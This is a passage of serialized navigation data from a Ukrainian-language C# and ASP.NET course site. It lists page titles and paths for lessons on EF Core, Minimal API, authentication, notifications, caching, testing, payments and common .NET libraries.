1)","\u002Fcsharp\u002Fef-core\u002Fsaving-data-part1","01.csharp\u002F10.ef-core\u002F21.saving-data-part1",{"title":599,"path":600,"stem":601},"Збереження Даних — Concurrency та Outbox (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fsaving-data-part2","01.csharp\u002F10.ef-core\u002F21.saving-data-part2",{"title":603,"path":604,"stem":605},"Конкурентність та Блокування (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fconcurrency-part1","01.csharp\u002F10.ef-core\u002F22.concurrency-part1",{"title":607,"path":608,"stem":609},"Конкурентність — Дедлоки та Queue Processing (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fconcurrency-part2","01.csharp\u002F10.ef-core\u002F22.concurrency-part2",{"title":611,"path":612,"stem":613},"Міграції в EF Core — Основи (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fmigrations-basics-part1","01.csharp\u002F10.ef-core\u002F23.migrations-basics-part1",{"title":615,"path":616,"stem":617},"Міграції в EF Core — Основи (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fmigrations-basics-part2","01.csharp\u002F10.ef-core\u002F23.migrations-basics-part2",{"title":619,"path":620,"stem":621},"Міграції — Просунуті Сценарії (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fmigrations-advanced-part1","01.csharp\u002F10.ef-core\u002F24.migrations-advanced-part1",{"title":623,"path":624,"stem":625},"Міграції — Просунуті Сценарії (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fmigrations-advanced-part2","01.csharp\u002F10.ef-core\u002F24.migrations-advanced-part2",{"title":627,"path":628,"stem":629},"Управління Схемою та Database-First (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fschema-management-part1","01.csharp\u002F10.ef-core\u002F25.schema-management-part1",{"title":631,"path":632,"stem":633},"Управління Схемою та Database-First (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fschema-management-part2","01.csharp\u002F10.ef-core\u002F25.schema-management-part2",{"title":635,"path":636,"stem":637},"Продуктивність EF Core — Основи (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fperformance-fundamentals-part1","01.csharp\u002F10.ef-core\u002F26.performance-fundamentals-part1",{"title":639,"path":640,"stem":641},"Interceptors в EF Core (Частина 1)","\u002Fcsharp\u002Fef-core\u002Finterceptors-part1","01.csharp\u002F10.ef-core\u002F29.interceptors-part1",{"title":643,"path":644,"stem":645},"Interceptors в EF Core — Connection, Transaction та Materialization (Частина 2)","\u002Fcsharp\u002Fef-core\u002Finterceptors-part2","01.csharp\u002F10.ef-core\u002F29.interceptors-part2",{"title":647,"path":648,"stem":649},"План вивчення Entity Framework Core — Повний курс","\u002Fcsharp\u002Fef-core\u002Fimplementation_plan","01.csharp\u002F10.ef-core\u002Fimplementation_plan",{"title":651,"icon":652,"path":653,"stem":654,"children":655,"page":59},"ASP.NET","i-devicon-dotnetcore","\u002Fcsharp\u002Faspnet","01.csharp\u002F11.aspnet",[656,730,791,869,927,941,967,1057,1111,1182,1212,1289,1346],{"title":657,"icon":658,"path":659,"stem":660,"children":661,"page":59},"Minimal API","i-lucide-network","\u002Fcsharp\u002Faspnet\u002Fminimal-api","01.csharp\u002F11.aspnet\u002F01.minimal-api",[662,666,670,674,678,682,686,690,694,698,702,706,710,714,718,722,726],{"title":663,"path":664,"stem":665},"Вступ до ASP.NET та еволюція фреймворку","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fintroduction","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F01.introduction",{"title":667,"path":668,"stem":669},"Перший додаток на ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Ffirst-application","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F02.first-application",{"title":671,"path":672,"stem":673},"WebApplication, Builder та Dependency Injection","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fwebapplication-builder","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F03.webapplication-builder",{"title":675,"path":676,"stem":677},"Конвеєр запитів та Middleware","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frequest-pipeline-middleware","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F04.request-pipeline-middleware",{"title":679,"path":680,"stem":681},"Маршрутизація в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frouting-basics","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F05.routing-basics",{"title":683,"path":684,"stem":685},"Маршрутизація в ASP.NET Core: Розширені можливості","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frouting-advanced","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F06.routing-advanced",{"title":687,"path":688,"stem":689},"Статичні файли в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstatic-files","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F07.static-files",{"title":691,"path":692,"stem":693},"Статичні Активи: MapStaticAssets (ASP.NET Core 9.0)","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstatic-assets","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F08.static-assets",{"title":695,"path":696,"stem":697},"Конфігурація в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fconfiguration-fundamentals","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F09.configuration-fundamentals",{"title":699,"path":700,"stem":701},"Конфігурація: Паттерн Options","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fconfiguration-options","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F10.configuration-options",{"title":703,"path":704,"stem":705},"Логування в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Flogging-basics","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F11.logging-basics",{"title":707,"path":708,"stem":709},"Логування: Serilog та Middleware","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Flogging-advanced","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F12.logging-advanced",{"title":711,"path":712,"stem":713},"Управління станом: HttpContext.Items та Cookies","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstate-management","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F13.state-management",{"title":715,"path":716,"stem":717},"Стан сесії: Sessions","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fsession-state","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F14.session-state",{"title":719,"path":720,"stem":721},"Структура проєкту: від хаосу до архітектури","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fproject-structure","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F15.project-structure",{"title":723,"path":724,"stem":725},"Scalar у Minimal API: повний проєкт і Fluent OpenAPI","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fscalar-openapi-fluent","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F16.scalar-openapi-fluent",{"title":727,"path":728,"stem":729},"Swagger \u002F Swashbuckle у Minimal API: окремий класичний шлях","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fswagger-swashbuckle","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F17.swagger-swashbuckle",{"title":731,"icon":658,"path":732,"stem":733,"children":734,"page":59},"API","\u002Fcsharp\u002Faspnet\u002Fapi","01.csharp\u002F11.aspnet\u002F02.api",[735,739,743,747,751,755,759,763,767,771,775,779,783,787],{"title":736,"path":737,"stem":738},"Що таке API. Клієнт-серверна архітектура","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fwhat-is-api","01.csharp\u002F11.aspnet\u002F02.api\u002F01.what-is-api",{"title":740,"path":741,"stem":742},"Формати даних: JSON, XML, TOML та бінарні формати","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fdata-formats","01.csharp\u002F11.aspnet\u002F02.api\u002F02.data-formats",{"title":744,"path":745,"stem":746},"Парадигми API та концепція REST","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-paradigms-rest","01.csharp\u002F11.aspnet\u002F02.api\u002F03.api-paradigms-rest",{"title":748,"path":749,"stem":750},"HTTP-методи, статус-коди та заголовки","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fhttp-methods-status-codes","01.csharp\u002F11.aspnet\u002F02.api\u002F04.http-methods-status-codes",{"title":752,"path":753,"stem":754},"Організація HTTP API за принципами REST","\u002Fcsharp\u002Faspnet\u002Fapi\u002Frest-organizing","01.csharp\u002F11.aspnet\u002F02.api\u002F05.rest-organizing",{"title":756,"path":757,"stem":758},"Номенклатура URL та CRUD-операції","\u002Fcsharp\u002Faspnet\u002Fapi\u002Furl-nomenclature-crud","01.csharp\u002F11.aspnet\u002F02.api\u002F06.url-nomenclature-crud",{"title":760,"path":761,"stem":762},"Правила дизайну: іменування та стандарти","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-naming","01.csharp\u002F11.aspnet\u002F02.api\u002F07.api-design-naming",{"title":764,"path":765,"stem":766},"Валідація, ліміти та обробка помилок","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-validation","01.csharp\u002F11.aspnet\u002F02.api\u002F08.api-design-validation",{"title":768,"path":769,"stem":770},"Обробка помилок у Minimal API","\u002Fcsharp\u002Faspnet\u002Fapi\u002Ferror-handling-http","01.csharp\u002F11.aspnet\u002F02.api\u002F09.error-handling-http",{"title":772,"path":773,"stem":774},"Ідемпотентність та синхронізація стану","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fidempotency-sync","01.csharp\u002F11.aspnet\u002F02.api\u002F10.idempotency-sync",{"title":776,"path":777,"stem":778},"Пагінація та організація списків","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fpagination-lists","01.csharp\u002F11.aspnet\u002F02.api\u002F11.pagination-lists",{"title":780,"path":781,"stem":782},"Безпека API, кешування та інтернаціоналізація","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fsecurity-auth","01.csharp\u002F11.aspnet\u002F02.api\u002F12.security-auth",{"title":784,"path":785,"stem":786},"Процес проєктування API та документування","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-process","01.csharp\u002F11.aspnet\u002F02.api\u002F13.api-design-process",{"title":788,"path":789,"stem":790},"OpenAPI: контракт, специфікація та документація API","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fopenapi","01.csharp\u002F11.aspnet\u002F02.api\u002F14.openapi",{"title":792,"icon":793,"path":794,"stem":795,"children":796,"page":59},"Auth","i-lucide-shield-check","\u002Fcsharp\u002Faspnet\u002Fauth","01.csharp\u002F11.aspnet\u002F03.auth",[797,801,805,809,813,817,821,825,829,833,837,841,845,849,853,857,861,865],{"title":798,"path":799,"stem":800},"Основи аутентифікації та авторизації","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fauth-fundamentals","01.csharp\u002F11.aspnet\u002F03.auth\u002F01.auth-fundamentals",{"title":802,"path":803,"stem":804},"JWT-аутентифікація","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fjwt-authentication","01.csharp\u002F11.aspnet\u002F03.auth\u002F02.jwt-authentication",{"title":806,"path":807,"stem":808},"Авторизація: ролі, політики та resource-based доступ","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fauthorization-policies","01.csharp\u002F11.aspnet\u002F03.auth\u002F03.authorization-policies",{"title":810,"path":811,"stem":812},"Cookie-аутентифікація та ASP.NET Core Identity","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fcookie-auth-identity","01.csharp\u002F11.aspnet\u002F03.auth\u002F04.cookie-auth-identity",{"title":814,"path":815,"stem":816},"JWT + Refresh Tokens (HttpOnly Cookie)","\u002Fcsharp\u002Faspnet\u002Fauth\u002F04b.identity-auth-jwt","01.csharp\u002F11.aspnet\u002F03.auth\u002F04b.identity-auth-jwt",{"title":818,"path":819,"stem":820},"Identity: Підтвердження Email та Скидання Пароля","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-email-confirmation","01.csharp\u002F11.aspnet\u002F03.auth\u002F05.identity-email-confirmation",{"title":822,"path":823,"stem":824},"Identity: Двофакторна Аутентифікація (2FA)","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-two-factor","01.csharp\u002F11.aspnet\u002F03.auth\u002F06.identity-two-factor",{"title":826,"path":827,"stem":828},"Identity: Внутрішня Архітектура та Кастомізація","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-internals","01.csharp\u002F11.aspnet\u002F03.auth\u002F07.identity-internals",{"title":830,"path":831,"stem":832},"OAuth 2.0 та зовнішні провайдери","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foauth-external-providers","01.csharp\u002F11.aspnet\u002F03.auth\u002F08.oauth-external-providers",{"title":834,"path":835,"stem":836},"Безпека на практиці: CORS, HTTPS та захист від атак","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fsecurity-hardening","01.csharp\u002F11.aspnet\u002F03.auth\u002F09.security-hardening",{"title":838,"path":839,"stem":840},"Теорія OAuth 2.0: Поняття, Аналогії та Флоу","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foauth-theory","01.csharp\u002F11.aspnet\u002F03.auth\u002F10.oauth-theory",{"title":842,"path":843,"stem":844},"OIDC, OAuth 2.0 та Keycloak в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foidc-keycloak","01.csharp\u002F11.aspnet\u002F03.auth\u002F10.oidc-keycloak",{"title":846,"path":847,"stem":848},"API Keys аутентифікація в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fapi-keys","01.csharp\u002F11.aspnet\u002F03.auth\u002F11.api-keys",{"title":850,"path":851,"stem":852},"Rate Limiting та Throttling в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frate-limiting","01.csharp\u002F11.aspnet\u002F03.auth\u002F12.rate-limiting",{"title":854,"path":855,"stem":856},"Refresh Token Rotation в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frefresh-token-rotation","01.csharp\u002F11.aspnet\u002F03.auth\u002F13.refresh-token-rotation",{"title":858,"path":859,"stem":860},"Certificate Authentication та mTLS в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fcertificate-auth","01.csharp\u002F11.aspnet\u002F03.auth\u002F14.certificate-auth",{"title":862,"path":863,"stem":864},"RBAC, ABAC та ReBAC в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frbac-abac-rebac","01.csharp\u002F11.aspnet\u002F03.auth\u002F15.rbac-abac-rebac",{"title":866,"path":867,"stem":868},"Multi-tenancy та ізоляція даних в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fmulti-tenancy","01.csharp\u002F11.aspnet\u002F03.auth\u002F16.multi-tenancy",{"title":870,"icon":871,"path":872,"stem":873,"children":874,"page":59},"Нотифікації","i-lucide-bell","\u002Fcsharp\u002Faspnet\u002Fnotifications","01.csharp\u002F11.aspnet\u002F04.notifications",[875,879,883,887,891,895,899,903,907,911,915,919,923],{"title":876,"path":877,"stem":878},"In-App нотифікації через базу даних","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fin-app-database-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F01.in-app-database-notifications",{"title":880,"path":881,"stem":882},"Polling: Регулярний запит оновлень","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fpolling","01.csharp\u002F11.aspnet\u002F04.notifications\u002F02.polling",{"title":884,"path":885,"stem":886},"Server-Sent Events: Однострімовий push від сервера","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fserver-sent-events","01.csharp\u002F11.aspnet\u002F04.notifications\u002F03.server-sent-events",{"title":888,"path":889,"stem":890},"WebSockets: Двостороннє з'єднання в реальному часі","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fwebsockets","01.csharp\u002F11.aspnet\u002F04.notifications\u002F04.websockets",{"title":892,"path":893,"stem":894},"SignalR: Абстракція над транспортами реального часу","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fsignalr","01.csharp\u002F11.aspnet\u002F04.notifications\u002F05.signalr",{"title":896,"path":897,"stem":898},"Background Services: Фонові задачі в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fbackground-services","01.csharp\u002F11.aspnet\u002F04.notifications\u002F06.background-services",{"title":900,"path":901,"stem":902},"Web Push нотифікації","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fweb-push","01.csharp\u002F11.aspnet\u002F04.notifications\u002F07.web-push",{"title":904,"path":905,"stem":906},"Email нотифікації","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Femail-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F08.email-notifications",{"title":908,"path":909,"stem":910},"Порівняння підходів: Як вибрати правильну технологію нотифікацій","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fchoosing-the-right-approach","01.csharp\u002F11.aspnet\u002F04.notifications\u002F09.choosing-the-right-approach",{"title":912,"path":913,"stem":914},"Hangfire: Надійне планування фонових задач","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire","01.csharp\u002F11.aspnet\u002F04.notifications\u002F10.hangfire",{"title":916,"path":917,"stem":918},"Практика: Конвертація зображень у WebP через Hangfire","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire-image-webp","01.csharp\u002F11.aspnet\u002F04.notifications\u002F11.hangfire-image-webp",{"title":920,"path":921,"stem":922},"Практика: Підготовка відео до HLS-стрімінгу через Hangfire","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire-video-hls","01.csharp\u002F11.aspnet\u002F04.notifications\u002F12.hangfire-video-hls",{"title":924,"path":925,"stem":926},"Telegram-нотифікації: від одного повідомлення до масових розсилок і мульти-канального підходу","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Ftelegram-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F13.telegram-notifications",{"title":928,"icon":929,"path":930,"stem":931,"children":932,"page":59},"Інтернаціоналізація","i-lucide-languages","\u002Fcsharp\u002Faspnet\u002Fi18n","01.csharp\u002F11.aspnet\u002F05.i18n",[933,937],{"title":934,"path":935,"stem":936},"Інтернаціоналізація (i18n) у Minimal API: від A до Я","\u002Fcsharp\u002Faspnet\u002Fi18n\u002Finternationalization","01.csharp\u002F11.aspnet\u002F05.i18n\u002F01.internationalization",{"title":938,"path":939,"stem":940},"Humanizer: людиномовні рядки у .NET","\u002Fcsharp\u002Faspnet\u002Fi18n\u002Fhumanizer","01.csharp\u002F11.aspnet\u002F05.i18n\u002F02.humanizer",{"title":942,"icon":943,"path":944,"stem":945,"children":946,"page":59},"Кешування","i-lucide-layers","\u002Fcsharp\u002Faspnet\u002Fcaching","01.csharp\u002F11.aspnet\u002F06.caching",[947,951,955,959,963],{"title":948,"path":949,"stem":950},"Огляд кешування: чотири рівні і коли що обирати","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fcaching","01.csharp\u002F11.aspnet\u002F06.caching\u002F01.caching",{"title":952,"path":953,"stem":954},"IMemoryCache: кеш в оперативній пам'яті","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fmemory-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F02.memory-cache",{"title":956,"path":957,"stem":958},"IDistributedCache і Redis: розподілений кеш","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fdistributed-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F03.distributed-cache",{"title":960,"path":961,"stem":962},"Response Cache: HTTP-кешування через Cache-Control","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fresponse-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F04.response-cache",{"title":964,"path":965,"stem":966},"Output Cache: серверний кеш HTTP-відповідей (.NET 7+)","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Foutput-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F05.output-cache",{"title":968,"icon":969,"path":970,"stem":971,"children":972,"page":59},"Тестування","i-lucide-test-tube","\u002Fcsharp\u002Faspnet\u002Ftesting","01.csharp\u002F11.aspnet\u002F07.testing",[973,977,981,985,989,993,997,1001,1005,1009,1013,1017,1021,1025,1029,1033,1037,1041,1045,1049,1053],{"title":974,"path":975,"stem":976},"Що таке тестування? Від інтуїції до науки","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwhat-is-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F01.what-is-testing",{"title":978,"path":979,"stem":980},"Піраміда тестування — Стратегія, а не Догма","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-pyramid","01.csharp\u002F11.aspnet\u002F07.testing\u002F02.testing-pyramid",{"title":982,"path":983,"stem":984},"Дві Школи Тестування — Лондон проти Детройту","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-schools","01.csharp\u002F11.aspnet\u002F07.testing\u002F03.testing-schools",{"title":986,"path":987,"stem":988},"TDD та BDD — Тести як Дизайн-інструмент","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftdd-and-bdd","01.csharp\u002F11.aspnet\u002F07.testing\u002F04.tdd-and-bdd",{"title":990,"path":991,"stem":992},"Що саме тестувати — Техніки аналізу та Циклomatична складність","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwhat-to-test","01.csharp\u002F11.aspnet\u002F07.testing\u002F05.what-to-test",{"title":994,"path":995,"stem":996},"Тестові Фреймворки — Навіщо вони і що всередині","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftest-frameworks","01.csharp\u002F11.aspnet\u002F07.testing\u002F06.test-frameworks",{"title":998,"path":999,"stem":1000},"xUnit — Факти, Теорії та Lifecycle тестів","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fxunit-basics","01.csharp\u002F11.aspnet\u002F07.testing\u002F07.xunit-basics",{"title":1002,"path":1003,"stem":1004},"xUnit Advanced — Fixtures, Кастомізація та Розширення","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fxunit-advanced","01.csharp\u002F11.aspnet\u002F07.testing\u002F08.xunit-advanced",{"title":1006,"path":1007,"stem":1008},"Moq — Глибоке занурення в мокування","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fmocking-with-moq","01.csharp\u002F11.aspnet\u002F07.testing\u002F09.mocking-with-moq",{"title":1010,"path":1011,"stem":1012},"Тестування Баз Даних — EF Core, SQLite та Testcontainers","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fdatabase-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F10.database-testing",{"title":1014,"path":1015,"stem":1016},"Integration Testing — Частина 1 [Теорія та WebApplicationFactory]","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fintegration-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F11.integration-testing",{"title":1018,"path":1019,"stem":1020},"Інтеграційне тестування — Практика","\u002Fcsharp\u002Faspnet\u002Ftesting\u002F11a.integration-testing-practice","01.csharp\u002F11.aspnet\u002F07.testing\u002F11a.integration-testing-practice",{"title":1022,"path":1023,"stem":1024},"Integration Testing — Частина 2 [Просунуті Сценарії та Testcontainers]","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fintegration-testing-advanced","01.csharp\u002F11.aspnet\u002F07.testing\u002F12.integration-testing-advanced",{"title":1026,"path":1027,"stem":1028},"Професійний Postman: Колекції, Змінні та GitHub Інтеграція","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fpostman-professional","01.csharp\u002F11.aspnet\u002F07.testing\u002F13.postman-professional",{"title":1030,"path":1031,"stem":1032},"HttpClient у Тестах Частина 1: Архітектура та MockHttpMessageHandler","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fhttpclient-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F14.httpclient-testing",{"title":1034,"path":1035,"stem":1036},"HttpClient у Тестах Частина 2: WireMock.Net та Resilience","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwiremock-net","01.csharp\u002F11.aspnet\u002F07.testing\u002F15.wiremock-net",{"title":1038,"path":1039,"stem":1040},"Патерни та Анти-патерни Тестування: Test Smells","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-patterns","01.csharp\u002F11.aspnet\u002F07.testing\u002F16.testing-patterns",{"title":1042,"path":1043,"stem":1044},"Просунуті інструменти: Time, Snapshots та Властивості","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fadvanced-testing-tools","01.csharp\u002F11.aspnet\u002F07.testing\u002F17.advanced-testing-tools",{"title":1046,"path":1047,"stem":1048},"Тестування Архітектури з NetArchTest","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Farchitecture-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F18.architecture-testing",{"title":1050,"path":1051,"stem":1052},"Тестування Продуктивності: BenchmarkDotNet, NBomber та k6","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fperformance-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F19.performance-testing",{"title":1054,"path":1055,"stem":1056},"Залишок плану для курсу \"Тестування ASP.NET Minimal API\"","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fremaining_plan","01.csharp\u002F11.aspnet\u002F07.testing\u002Fremaining_plan",{"title":1058,"icon":1059,"path":1060,"stem":1061,"children":1062,"page":59},"Платежі","i-lucide-credit-card","\u002Fcsharp\u002Faspnet\u002Fpayments","01.csharp\u002F11.aspnet\u002F08.payments",[1063,1067,1071,1075,1079,1083,1087,1091,1095,1099,1103,1107],{"title":1064,"path":1065,"stem":1066},"Основи платіжної інфраструктури","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-fundamentals","01.csharp\u002F11.aspnet\u002F08.payments\u002F01.payment-fundamentals",{"title":1068,"path":1069,"stem":1070},"Методи оплати в Україні","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-methods-ukraine","01.csharp\u002F11.aspnet\u002F08.payments\u002F02.payment-methods-ukraine",{"title":1072,"path":1073,"stem":1074},"PCI DSS та безпека платежів","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpci-dss-security","01.csharp\u002F11.aspnet\u002F08.payments\u002F03.pci-dss-security",{"title":1076,"path":1077,"stem":1078},"Архітектура платіжної підсистеми","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-architecture","01.csharp\u002F11.aspnet\u002F08.payments\u002F04.payment-architecture",{"title":1080,"path":1081,"stem":1082},"Інтеграція LiqPay (ПриватБанк)","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fliqpay-integration","01.csharp\u002F11.aspnet\u002F08.payments\u002F05.liqpay-integration",{"title":1084,"path":1085,"stem":1086},"Інтеграція Monobank Acquiring API","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fmonobank-acquiring","01.csharp\u002F11.aspnet\u002F08.payments\u002F06.monobank-acquiring",{"title":1088,"path":1089,"stem":1090},"Інтеграція Stripe","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fstripe-integration","01.csharp\u002F11.aspnet\u002F08.payments\u002F07.stripe-integration",{"title":1092,"path":1093,"stem":1094},"Webhooks — глибоке занурення","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fwebhooks-deep-dive","01.csharp\u002F11.aspnet\u002F08.payments\u002F08.webhooks-deep-dive",{"title":1096,"path":1097,"stem":1098},"Підписки та рекурентні платежі","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fsubscriptions-recurring","01.csharp\u002F11.aspnet\u002F08.payments\u002F09.subscriptions-recurring",{"title":1100,"path":1101,"stem":1102},"Повернення коштів та диспути","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Frefunds-disputes","01.csharp\u002F11.aspnet\u002F08.payments\u002F10.refunds-disputes",{"title":1104,"path":1105,"stem":1106},"Тестування платіжних інтеграцій","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Ftesting-payments","01.csharp\u002F11.aspnet\u002F08.payments\u002F11.testing-payments",{"title":1108,"path":1109,"stem":1110},"Чекліст виходу в Production","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fproduction-checklist","01.csharp\u002F11.aspnet\u002F08.payments\u002F12.production-checklist",{"title":1112,"icon":1113,"items":1114,"path":1127,"stem":1128,"children":1129,"page":59},"Популярні бібліотеки","lucide:box",[1115,1116,1117,1118,1119,1120,1121,1122,1123,1124,1125,1126],"01.fluent-validation","02.mapster","03.erroror-result-pattern","04.serilog","05.mediatr","06.polly","07.health-checks","08.feature-management","09.fluent-email","10.quest-pdf","11.bogus","12.humanizer-guard","\u002Fcsharp\u002Faspnet\u002Flibraries","01.csharp\u002F11.aspnet\u002F09.libraries",[1130,1134,1138,1142,1146,1150,1154,1158,1162,1166,1170,1174,1178],{"title":1131,"path":1132,"stem":1133},"Валідація з FluentValidation в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffluent-validation","01.csharp\u002F11.aspnet\u002F09.libraries\u002F01.fluent-validation",{"title":1135,"path":1136,"stem":1137},"Маппінг об","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fmapster","01.csharp\u002F11.aspnet\u002F09.libraries\u002F02.mapster",{"title":1139,"path":1140,"stem":1141},"Обробка помилок з ErrorOr та Result Pattern в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ferroror-result-pattern","01.csharp\u002F11.aspnet\u002F09.libraries\u002F03.erroror-result-pattern",{"title":1143,"path":1144,"stem":1145},"Структуроване логування з Serilog в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fserilog","01.csharp\u002F11.aspnet\u002F09.libraries\u002F04.serilog",{"title":1147,"path":1148,"stem":1149},"CQRS та Mediator з MediatR в ASP.NET 